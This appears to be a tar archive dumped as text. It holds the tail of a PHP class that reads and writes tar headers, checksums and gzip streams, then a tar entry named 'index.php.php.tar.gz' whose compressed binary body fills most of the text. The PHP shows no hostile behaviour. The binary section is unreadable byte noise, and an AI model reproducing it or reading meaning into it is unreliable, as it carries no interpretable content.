			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   index.php.php.tar.gz                                                                                0000644                 00000063112 15243251040 0010355 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             w#q Zz}c}kW͡MM&$] 
@
lk-Zɣ-ɲ=#KuYGI#zx_/_Ef	HvKZrYUm2hl(2h%Zb>^`v~;]nty}.|w'ey3j
P7yogӱ[έ(\4xe+Ƿ凗#,F?Aw^{o/W<1|/>^/;=C߿k.-,>G;WcO"_0->>}~|P޷?0y7y_>;|q-xV[~:]|pS'O^GP^.i?,? OXۋO.|3˿,߬B9_y(GN7חo7Go-~gś87+/@-X @~"`ym˯@o+?[~W>ۀⓀ[Ͽk4iO_]C ?WzYRo,2}i7Y8%@g\~t
SeA>e	?[h凖-?y,y=h&p8ڿ[=zPPHj-?_{On;/~x}p|2@l~6Gm嗀OZIo.:*4j7L(͒y嗖_[~e6{?x?3hś B竻^2\zq+ݺ?8d^Z[5I,UC;}{G-@̄^k7=4J9-O_}=DdNP}
_,9pѹ[~s-{ǹ@{ךxo#Go_#/>&zg^~g'ruo5^~}FA '0W/<yoJ7}@.twN}/@j|uw񖿳.؋P~	<[~PBZ~u|A#)[# !,zkOˏ.޼By?@N_4^\K@zlft`׋O>z[|o{z<sǗ_,?zꋙo?x~cLG'×|ۅ-;,p7@zG_\~y O|o{%TԚw4_?ŧ=wK	lKq@嫉_[|W˽YK`ru ?A_}n'ίA|ko;A.{}^,'?!z \o輪k,~jzI͟>1Յ`=Ov+goߍ?y5w@Y|hZT닷r!9{ms/_`q0G7/?ŷ@}Qxq<dh_uoN/k{W?@WQa
ŏt7); @?6xZ(Uԧ>{275lŗC!W
<Z|_'}/7t}O>}{apz{K/_p)+>X|#r[~v%|}ԝF,p^N71>mN_-?Dz?[B}f:]~|o/M+?Gۭkᄽ Cїj",>/߂$.>5Wˏ:7k--Z~53;˷۳sʟŷYБ-| g˿
Ҩ~s)߇Q]oRo^@|Ƽ]~;mx7 qeq|"~W_~zg\H_gġ7xz/GZ~cm{zr>Wa $['J~}G
~sJO~0\~n'o{H
'@mM)޳ a/_Z|qn?&Xo_~/k_Mn%S__oߏ^[5hɷ!o .Y~y٪KP`"|:|>5s9q>HeOT1T#Pcq^z lTV` 3A!kZ>CSt̮S}.(awohP{yxDYGGs- iAg[` w@KmTv vw.\)R(>G{}Jw-=KXKrC>YlNޣ,wgnڴp٧g5Ē]`<}/-"Kۤ{"K[brDA#0f"Z `']"Ǝa('ILW}m/{_$+I "2NsME(oJR02nYtl3u|KۧP"L. x+G Qt,ElRd$sd6e8C%Rz#RbRUTleV4bĦ$ce2H<U	I %*ZǐEDGz.	8*z.a<% Y+`uEɢ& $Ey]ڀ	/4HQ#_$F.kX~:[C5yiO4~IP	%bZD*bP&G\DTQ;+RRkX@hq@lm{$wPC)]ĢȘ P2&e$iX.DIݳ
OEtuԋ=,z&^G^`Xr i@,j@YVkD`k&5m%
|9`9-P(-^&X) &peTRB~̺
El&]oS+-R9	`=phPa0F2ࡄ}2lmZ I%Ϗѿ1-(V>*E1kETOiw)#e{Xn=qu./ww$f*Jz|J#}z!Q#E/*i+UYLBH\" B1ӛqwSA%X@4@6_bE4
|{hkHC@iNKGJMP&$PLOFKczm,4,Y.֩'F	p.3Tk)(c
[҈\Wu?c}hm%%*.3Oue1X:!;a]9}{HXfzHWTЉ\ULSi֯=65"]Я!֨GFTwBPy0w)qax2"]Э!tKʈq2i@@%'L)_ԡ!uF5`@L.q]pFБJdf!5)C;	xRO`'7u#XH7~ŉBdf#PA)DjROQS7&qo9/WymΧì6NP(@E}m JPG*+O(ad%>~'AJXP߱XhR0ANxMC+	2R$äM dz
"XN{R#Ԙ;-$+]9IJn*o_έZZ x6cڧ{-ֆTuĲ05KX[C&+#6 ޕFfL (t	RͦP	Etőj;1V-/J#\'&%ʔD$@l!`}'̊^dQw)Z}~B9nh^	l  ~lڦ޶b77Sۂ1i#n2<ẃJSoT
fOy=Wε^ߑ`˜'6n \Hl>Rfǋ.kro}TJ6ǁrT(?ẏxF#P%<&8YV
H5A sy;P>-c!Trqp|t#"Hޱtk3,Lbd{zYTOl)ν\M%jW"ӋR7@wkc7E|ckEkxeޞRMѬ\ѝ	Dx."R@ڟȇ<7ǨIq%Gh>>֩n"IM>AJ}C0bK,WTV; z̼0=cd<p@"'{+n/amE%Pkx	U\Ɓ~h_b(2 =e#>F$Jhf{5$	h;x^+!ɨk mM xJF"aQg+
Mʘk)H"Ph D |:G5Q4}ʾOI* A4]c ﮡ4\["PWk"o 0KP6WV,p?J<=6.Sķ)/GK"/H2eAiffE#̯Z,'NI 08rY	ϞMy}%{`9&yKUAM2?x&E޳'A7K~>+TjGdz>:Ӱ7Ev3~ÑEGd[Dv#BKf9E(q@wj- 4,w	g#(N,m3mDј.om>D[Jsq3Rooi'mS4F{}#ʹt|ܵ$5Ln#|}TEWCˣt}VۦPI[+|c83>Bǎ' Sȉp+&*s#1zu*zat#(o
G~-wFUЗr&g#YI<qkeUJeMՏ<)q@+{)X6dc ʮLQhc<kxBY}HyJhЪ
.=v)uxTQ8͜S@1"lpruMTY]-~/>n۠&iBZkEH7Lҏ		z'[8.ԝ\WmKon̫hsMGRoQv,aH\J-g96WP+c1+DN.GB#S%ɀr	uDG̣1Tr,;ƨ?8dٻo%E؄'%Mu76y=@><{FAp׋jwGK	C.ȦKדAdEbY,D\l6N0zmWťmcED7/Fr;Q.	3V!@E?3kf+ړS
$) (Wa`["S6 (CfVnQaU$#""gR2'q>1nԇi ko*"!LGEP,P>GUiiӦ
#bD.By㑱,e%	-@(UY+z@cP<]T<]BRkQ#R:t-ubdnf}j7*z0LwCZ޺<LtuAfF:RjrD=!
jtǱw_x{kD(E@'Pi<Tk|T\ LHxa㑕zVO* CrDzL!/Z*www;]vn< ;$;0]heb%ڨ92Ծ0e}$Iuυzl{Br@a2.U<QY~EfGÄ$&;KEe<@[S":4Z| ğAmbq`Tˁ2A(֠*QNyEVRV^,:~^QIaL)eёD*a58W 5GLHR7q`DCh	4gRMV۪&"pya_[\_-=95&}%#BwV(j3
3dHRۙRA(%uWHz(ĥ\m	EVԹr>LԬK׍ZF3ӘHJF UIT(gKg}3~xlppJ[G]Q+GV(5}d:o]j~A3b-]^F%s򭯓(Jj}fJ3E 'Hڧahyi夻s0U9P2-/TSuw?]b!dځQDAs$<CS7f$Ҝxy6Q**Bdʴ𶈒|4~n}|tt881@\kƊh\YrwCDx#4Fxۧ[]j$va̤:"MϖĞ vԂ zB'sE5R$Hy|GmMס7m#ι`mN޼q8U3w_
O6_0gApeI4,XOIX\0Pe~gsWZ9m'8;lg4%5F)$zf/nr˚Gkd{jÒ4R*eNo9FNw*m}ֳLՉnLTvHɶ;87کFlbYwν\e4=q_yEL3mz]V{.^HX4IZmvfKq!w\+N<['<sE1ipU]VvE_$~2k#y/	vQЙN)Z6PsX%3R &[rʛ]H%mT'3oj烳3ﺊxHIdye	Ygt{(tsD_fhjs ݢ[E +=Ĵ3\C/wףVzn;GVbfϭN]qyc&&6򐚎<ևg&^z~rA6"J#WrqDݚyWtv^R/+3]*1F<\j~b#!VJ	O	^)sghyrZX,%yE-ltJa̵[KOsi9p8)fnY4.-:lKymڙ9lZspqj#4ds8xYu1]#y /ޤ]t.w0:8mqjF;	OhO9}3ԫƎaOGM=w{BlXBBߚקg>g'"tZ1q9ѩg514GMm[JyYo3n09+E uX=I8'5:Ldm>G7gRHvq,i~^W܄TPY0h-Ymc{ms$R%&5V(tR6c GWP>Bcښrr Ө0M(Nak{f] Xx΢aiK@
{kXiz
ԸVL<G|1W>z\"{42oZN3r2ƈQto(@O&&P^ًm:3.zrOМ#P'mNl8bm-WhmmZVAw$>	-dD67l5smyk.10x!

(%׶[c`xU4$*#W7믡BEVef,WhzD?8[^+d!p5kc|F׿%t%ɣ>"$V4{UXD(uO§X4m`s34J0Z?m8DoځQ3΂7^6<N58'RU
V}>|	 <FgrD7eM#Th|6.Sd(K(uBZH^RUf$g"2LbG 1YWi#sYiHse}go)~~_ُ?[F)ҹX/Bi+7>{YJ%֣cSPVsLuDl0hK^=꤭)2Y^Ov*=$Z\3#^øpĨN
:*dx)t8dJ~2P`jsCr	ew4 ڜhHxyȋh9 4[(0}~vPu/VۉѪCsL+1CsdmD¢
ZKokEI#f'ØfF?@i-dHaJ
!6M* eTJ˄EW(.׊`
]ؑЏugȱ
zhYm< rkSþ@e}!ߠhm
ImbT)L,d*sxT,.iISԂn(_WoѸymJ7uYq)GqO\yؠnf{z=V0tawBcj`,>lTQmƇPuh2#8T)N3n\()sPHf%D,L,&XO(=HmMhї
J5J.UBPcj3M(l{lhC+hyldyUkk:O0\E8PkPQ;Z!C
%PR<pu]İ-W)Gߞ1\	
NUw0Ru54p`#|[Z߸xJmWCܾ9
W19ȇJ=T#VEkj\ZGq MriD90B7T|\n퀎NF9c(7W63yfU!mVbipl2d?fJv-eָTGGv&2DYx?g쟦EܬJ#kRd\E),чGZ2=jB;[AQvz#25Vɔ[uQwe!BdhV\oy?<&,_~{Lyڪ﫫Qx|{Зܩ+ԡN<T/#[Z(زh#cPBIqurspyȳa;ɘ`!+!L=uk
lݠr~%
JHb3;P|AQYj8Ѯj+CB$#T5iҍy&z-'Ot5íI4YYNYj1'm
i2  SW'Oq%nVٙOS*	:o65\ӳ)4U8^=Զr0?(H67CnJ<<+=LDRiX,;)]El4 |xbǭ NXhZJCO/olX<O9ϲ}uMq>z>=uซkKǖ3_';΀igUk1Ymxj	 !mۃX_g+Rܟe޵Rݣod:XsrC
4IJN`}P*KK፟}DxFF-Z&TUoUZoÄ?F6v&BD5;Vv1b9vuH)6iNy\BJ<U%S3YdCʃ?Ӥ<xv5;Ӡ ȑeLT.!C%H1Y|ŕR1ʁgN=xLPx֣II]ep&2GibFXYזZmVuЦǿ:I-Ăz{
L0""LNN
]KrMh&̜'3@1I W
Kǣ&o1x6_~	.FG|I~9̔:tͦe1ұ<+
q}^_/$RC0ÇmrpBͤ:nBwYQޫS'{Xv=NNާ8M1%IV
Ãee qqq_N2,JChJ>WjoS5t1L6%U!~ x#cAJ}Nn@w瞍| rH}o=$N;| ;i}7ucyi ȴ`Ae|}AOc5`^>p%|)6nG<Ƈ<W$4F;zeq(*^X[ϑ󏵖y{SB`+	,AfֳPO:֖DeAq(8=8DF@J(j<h<C+ nA%ïԹ	4">=k##x!`F5Gu,kأިW%cX2bFMLIXHMV;6kL1,)ZZ~Y
GĠ]}KДy&>)PnD0=wȭg:U#~Gkxo;lCEg/sst^s+*ipVsVX)8\9͕ArPzi\jYuJBeusk\GR)-6tP*Z8p8ȴ8+
>ŨCCk-m..#F{fp:RR0_($NHWCѹ
mk6<bt
t*
8
Nm07P$Pڻv2MoPH X8Yq&;h@
\Z+⡆䂵^(RС<ZV lD$'nIpɐ+
g",h{@㳴;/T!o߫(!Z?*<J
9AG"vn"19+vM~5VL[@kie2)wF}4u{~+c[eU)Z!<|A>(ن񞯕/ZV$B<K|˶zg#n:'NL#gJ}plzI(ewǞ#J4&^LsOK=-YOl}_r;"z9˖DԳn/Z')k^
1tQdY=w~Z@ Dnذ~Y6[iAOvz.^1!m!`K>
&`0f+cy ؞y0d|>t*r`(/NOZ	zʱll^4@ƎHNt.Ѥwwm,僳@X)l ʲVj]+x=Y(|xwOZ?(ţi3~Xo=m46D| `xG^<6+]p-W8W=M?BV&NiV9}2ɴ*y6RFS1-1TMwf+f´=9*~1Z@X4V%	yW)$ZPigI7܎f02	|ZU*hǓyӠd#YR3_?hbvaU|jl4%P ,~bvc\YN%k/a"ݓ`%CҖzqypִzVì.lc XQ{2]VI>Om.bz:b	kTn:u&0հ7.[CDhPN
t96D8
̰%d9n\҇BZN9a+Ry8p伎Td/{:3|͑N=U[;SaxĲ3NUZ!g*Zb\LUGx9N΋3!*Ν!DKL=lj/8.`..o.L|VdwZ-OှXC{S鑏fZ9Opj繋PeUW:]t=1V٢Xj|M4|[tbOm2LYäQ[4mɤԼOim>i$͚_Ӂ.ܕB~ԈrSd;1.vIuNWV;gJTuҾP	+Jd1:s1Or}+SsxM(/JC9Q$LG29˕ryCI#o=?2]W*7񅧒wkH;(Wi78>Xq5}8i[~48o;u_~3棬=<Fe>glGjg	(+gjv{:OݝYL&ukr ֦+>fF<`^ejwzm3:عY9/T6FX˩ظ)z95X]pa'^f"yˮMÎgYSV|ruyٖJCY,cgi[vص=ZR:ɜJ$鳞5j9GyrrNHEP(DYf
.=0(sn4ڞ~,9qSgveݞ	mb"}̻"^Ϫ@R%G9oa6ͻF7믌=.(HO,L'$;q,f=p!k6:&}$q13v&sV0HΚbcv	q\~Y[>-Hh{2nkX|g1۝3d1nr
|Dg<feT%SVܐog:<sڵuzMJ3?5h_&'$(ܰƗ<b+;iۼ%2UZqWg(ǜ&Ex]M8j<73=bg:eb=-Eyp8Cg*caFMgUg|2(墂w"ChVGhZ0EkOb-꩗-u܍LV]gGFlU:{?Zx@{V"w=8<2.a4ӉUaزI_gs:
r6_rNlH֘/kKqb/j羹V%(ӎZڔά+G#S8l!`'^ǕyW![:kgS6p3{:r;yͦ'Sm\:.
tL>=tI '@*Ryި]ͰgbF{8]s,v=k&b/T}g6rٚꍜM43لM̜Rk_~5ldxm-KhAi7bq\I}äl]q3ٚCE3*csqs^9/HX5zaWY:VW3v'LxZv%љ+qXRN˚)rl֕<6g\؝@ۼMʸ9͌jiBӶ:hSe<Kf1uCh~xfhO4}iص#OgnɆuJW:¶@yCpVu],Lhb8mDz|Y&T1"{?/b)GŔ5![$3fEgOѬde?uY-#x*P|;}!jzڧgaÍy[o}<v8!4kKn7aքZm	BZ
Y<[	烋f,ӮGBG*'Rѩ,~kѹYldƓ31Tہt+\ɂŌ)g3c$qY.PKsӫ}a֋ts`y>,a&IɡuRœE5Z㳎G|"va*](bZeQϣJE9iLY)!QV2y[.eJtqt;Cgѯ;@fVe>r>zsq=??=ٌEz8LۙX+#k(Q&:/4.EFj99~nF3`3R<Mr8jWKRw5zc﹢֚;TY.MD-v\?VCZȻk!ﮅZȻk!ﮅZȻk!ﮅZȻk!bsAW^qRb.8'N]F*۹nosY6`#x62FJ%R4LlvS$*\N,,׵M>
>u3l<<;}CzgMfpbJ{z^9,W\ey<%xbZSeP'ʡ@:e'DYq=N86iyq)Na,v=LR@-rydkRt
%kg8(dO/Ӯ"cͤBemI@jy<NnF>~]R%&P6§)fIိ*)]s$.>vlQl>tұSlƂæб4X,~ϟOM;=*1ڑRἜKiÍD"&LimNLϞyĤg;TqskTu=>O/Q	V@j4c_?*U{pyuxgeA
Mk۪[XmV~R*!a6e;,1rϒ{G$cS.mZCwx5/-yMs୍(c\
:863S8n,޷ь̸]uϨZy8c(9_NY<Ppԅ3Ttr3B͙^ھ N{*VĹw 7/P EЏdqdlN;gt8שtgR&0v5:;X=m4mִO˧դYc>:6[a.fEdkm;jVf(?~a.0=evgwӂ5unYF9>])觅,5jܠ=@zHE{d'̟lDb|<~6NzU;-?T&c8+nq8~6)1;4mVUp(@oQD_b$r4
;OV%vv,;RSJ Y-=y;zvvx6JE-TƇgބ'lMӵ^<n_55sL#1TJF^x&xuQ/g.|謚CZ`&T-*yOeq#R"l6'VS) Ps@5If&yUU@"C&H6]曝>uzowVx`ˤB08v{\(T.vVIw0HI8{!~ͫu<H/amTt*
PxΧ+bG
q"P-uxLJBmuJX5cE5?z.:6	;zG:gWgRu"sEǝK@bNwJ<7	P,*WSc(ʙ|Ǌ}4Xp8Pn>}0;e%`׻GrdQ|1LIa	=d}S	iߘUImqY{/9{*~7Ca@f]G CWWt@^[ϓX2쫺OtQWprV+mr*rKqGO{ظwznZwoI#(rJW:\OF7Iȱ0Uq&o1~t;	iAA'_<=Bl:d, Y gBJɺa R) V7eM=%ڧ90p|\AMS$zUuyQPD5|,Jr
΢&x[-訟z}QbKغ4P::XRtѮFRi1	>:piE3~zj4,5fE:Ę`a9V>uubǐ8<f-ipM{B	z|z7OKnD׈{iKsZI|Hʈyd4biSn:˧ySBi\EniSr<6jWц|ZAcrx)_=|tSm7#ʓPF'	nP\@\quXK:+i5~"@B7+jHcrZ2=m&(78E]XBե|hZ<gla&`Z&yƄZa=}K75DנXV\MzFLjԤ'KN)3!^?uQL4(]	+v zARc6U%ɋRZlݫjQ 6^gYV{hJH肳޾Mk5$KQ-LY&&yxi+ʨ!Poc4[\	ZL˽k%*R	5ZN%]"KVFge꯻[@wjQvFƥj4dFľ'L4F*	d&HKPVr9Qd6B7 'Ǡ{ї616kNP堬l`wrjVbdhÑ-vUgzHQ兽cBh&nfDUmKXZd(X'UIXh?Oh?'J5ɲwRtm>3贺|ls#<:7 EhAƐҫS'Þ[R{x~2 )#jcx)Rg
-B{>S1V͈4*RCbh1DI(ށxs=Nt.L>0S 
}1#Hz("|>Aa11n=ow]@eZ|LѤ.Q#!4qdza|usuJ#SAV`Zə*8<iJ|ds6k蕄&R޿vY8hT6W.iQnVVTUQKkI{|uϪgN9^e
cL#٢V$M^
LMu[GcN*rMW)tջJ[i&wElHY*i] pZߨ+=;VP,,Q-j͏鈚<5eaŵ(t_kȚ##UTێV
tt9PJ7Bm~|fGzZz=k!t'uXeֿi($ٰV RJPH?#p 
+]0<)_I((0ӻG&vF#lGUτ&xɵ|yʄ#5>D	]6uG{k{	7e+}>UG<\Fk]h͙n&pK8m_K8j6dj_	%ǴDƠt}"ݺ$ѭ]wNW]W^u%SK)bZ xAhznD5FO~
0]ܗT3yNU+@1yۥhkhC!+M?U}nUtcӤyqHG-rYSU:;KMt}Pjb=^J(ʓjmњᳩJW9;X;"?AIh0rĻ!"E (þmz^ؾrVʠM;xũ,<{^sRFTae4QyNl%}A{׵I~Dq	*c	҈Pu@V=c^ծؗWtH  쭼b-y~2Y$7c+Sȵk~WF Un9pnx82(>њk
f0H [eB?hPt9L% #վ,^(747YY?ٴ=nޱ[B@`Dqa{7V\Uj*˷,{۠ͯdnlTYiuA/~@VGաʬ̆__/_E]Td4~I	"kzfNU22^5V1#\c´>76FBJغ@ʯ*Teh ΉV](>իK0йuMUP1qi5ҍ69;'P@ץ"g2#h{ll4t
k&zrRFfp6Z7\AjsWjkmh]n0#$z<C__cZpə;.KVe76#l_Bw@7Q.%cq3FM̌g24nS,-M_1yʻiw;Ob+~vͿ賺w_WsL 'dlmr%[RM|N|)ږۿA_$Ѧ0uKba%H	F@Oqx[PZ*FhWGOi3=rCz|-H)-%
fsDQX 4P|"x{"-Ȯëw
*'MAa0Cur)$qr:YY4yۊP
L)PZps|VaoOT\;)Wu!<
5; 9!yIhVZ4EIӣ
zNI`kwn~<RW>Po<_=xqoǆv-2tEְdxq~^߲EF".ˑK8*"e>)BCܿO!N(AFmΆOn.#b&_| H0Ar84	x6(:?lb)r!U=W"6ToݻS!}4z-wAnH߾KyJj6Ux_7pUSH&BmmMyES"d0cjT:S$z֨WۧGPyyc۬l>ǋ2vP8NŪsưD%."@khavי5#9a؜4~ct5Dg!ߜGM`NV2hƆR {<xdVہ<z;>eD2vzWG#d#spƠS=5RS_eOfp@CW쎍ٍlS9ZydzÅn
BlPbYZmBF֯61@uBlL7VpC2lk\ν2w7CZm-ѕRTmMVJ6zDTJB!<0K"$V
R7%I7-к=Z,<'c==X[ <:x^z6&-wy.^[/1It5y	qvr0qw>(Fѻ0Q<wٷ).ƁuC^+nl>Th-ЩbMIYO6VL>+KW-&nnwW7Ǧ4cZe؟ox56n:~=6\S/8J)cS2e6js#('~I2h'`(ۇ+8*˻活U6ȃҜ^QG6F/5r]ˋ/꨸А9k|3 #ap i
Xa	 ~\tR2~LwL&NkGmCᩎ:n'bA~gDLJ}^Q$$?aY wtK.k"߃R:?ELRNfܥH#J~D)W|#9ZG`hWH(JsY8dhq7rteIs׼Z$i7+cBXU{G=rsiX5VDi+LB3^V52nz}[@IR';쫬d҇PA;* Ty3C!+"Hr#hQYkL!Mb2\
\wX686 WnqPB1hsagrDԨⰌ&-^3)k5rrx=޾	!#ҚMeZZ(̻X9@19fhgLoS+s^`=?61 o-4enmMHXsg@EJxC3踀+qgCrSj~ǿQ1/!Wyui}KH9w11*,>#̦VSd2:YzܧA>]"Q k
=$>!QmTMaC'Z~AFD1k?e.ƨaD._P;OBi>fxd"nZz
w S*T"Tn`做nX`d1Z\ X`xhQ#JJh!KZ&ޮ.}DC):,ڧjIGYx1\ÑrsFY&)
#޶.j,kjKj< /;cw\q]56
E+*Wgsq9Gkhh D<BI"p!Z?Ln>1{~>*X@hA<1gYFDH[ؑH#8Q8M] =W^ʅjTjWb3!4Oyz-Ĭx6O]vМy	잙'Q3h\U1rdƞ>~0k߻1l|L1	6i3ցNē)Ž!SC
O痫TcD8ܒ&QA!ϯIa,.OrG↔@gd̺:Xdb`lkKJX!>?:Zuz7S(`(*49SDb\	:o5dmQ8ʝuz+nkq4Ykܪ&+:4(}*ϒt;6.j;w ;ӥ>+f)*ۑxɠ$*ώGhAB8"9EP$й|!
j[]m$JQI>9PGʅhRU $C]z`@Qϗ"jIhLG ~]W7Dr7r>Nv߄$+hۍ['ۑ̛ÓDKyk[1TZG>݀{323 ,G(ǟ
m`UVs
 B\u\&@	s]Vo1ajwj1RlY 9J|3P;:h(PNŃ:߿V| ,C:ĥ@&8đՏ$-/>b̱<Ik-u CAPե]@̝MFWֱ,M'JZ뜽IL&鹦?)&{g@=o's=C@WK"4Fȥ׹ 6e еx.hVchѽ-zG*9Mmt%𖜀}nATU
Jܹ) Q`WHK392)KrP;eUEF1l.L&wk$p1&?Z5'nN"秚+<nIOM7hǣ*Ifp}7˿wjf0Q}wuܧ<97 ^Uha&+`4,\JRJ:T ցݔNb[`5Ȃ\veӁq R%ond$56d3i=LcEɺ[S֔gwY<r #-N4M-Ӂ*6&4Wi^ަ+mv"bp]a"pWEaDpr]'_o+|u͢+YJyXՏrwuXcZ[X/DXSv~JƧvi\@_Bֻ0c6AT$:=t:\=M}PnX	[?8m'&OD^Uch-{](
/u&aT_~`P/0έ;J˨G܊j Mŵ"f0GW3H\'QQCe~( !<'AneO6Wtcw)TΧ䢽A'
c9&:
d-?cLg`7%	q"lj0dWː<0L.{vCJ5p8̕c@V&XHgk@Un?'rVBA	t/׽׍Wy64֮տ(ICXh	RFCdS]ke0l"781!>j+e]Ks1l`hDMa\8qlBsi2`oOq7d+zWQ{ճjO(QuaYɫB3i԰+LGMP깦;n)|PX>`*9z @|6l.M^aGC_I\ͯddC)_ZZ%&\2Ikr|ZE;ഥx]kǘG/R>eIqi:FlIՂ%Y}A 9E"$6PS)d\I<>Uor i$Q:jOvt}XR=j}U[eGd$>\#R= Z7RXūSJ󂆜8Ut+	uYӮZg$UB(X_>BepʨcMog)\-9#.ԕUdYBDZ5VG$ۤ'6Ud8Tj7Twz(Pݼn=<"Pߔp|`=aFY3@iՅjC4LÈS~QUY{*xNNG,ռZ3
[L渲82/ѭV``6{EPM.%'4;WWt=&Uq>ulk{֖-r`m*j=6ڴ5csSze1QqU2^Գ	0R71t*7&^SڈmSB{aCYkt)S[ŪVQKjjѮnt"ĉ-t׈Ԧŏk%^Ycװ~iGBmʢu+ӗP!wչbحLaO^_*PXKTW9\U_m2ݣP 4moj:=ca0()QTUoרmޮf&ňWWק{ڊj1k2+L".#r2+`)>鬬蘔aXՊ⨯|ۯh|zD,{{+dǻS4ZFQD&YP!oa+̶>@F"#\xj	hNfnHR(O	dC֪[NF#Rْk0>x/DSR(L]
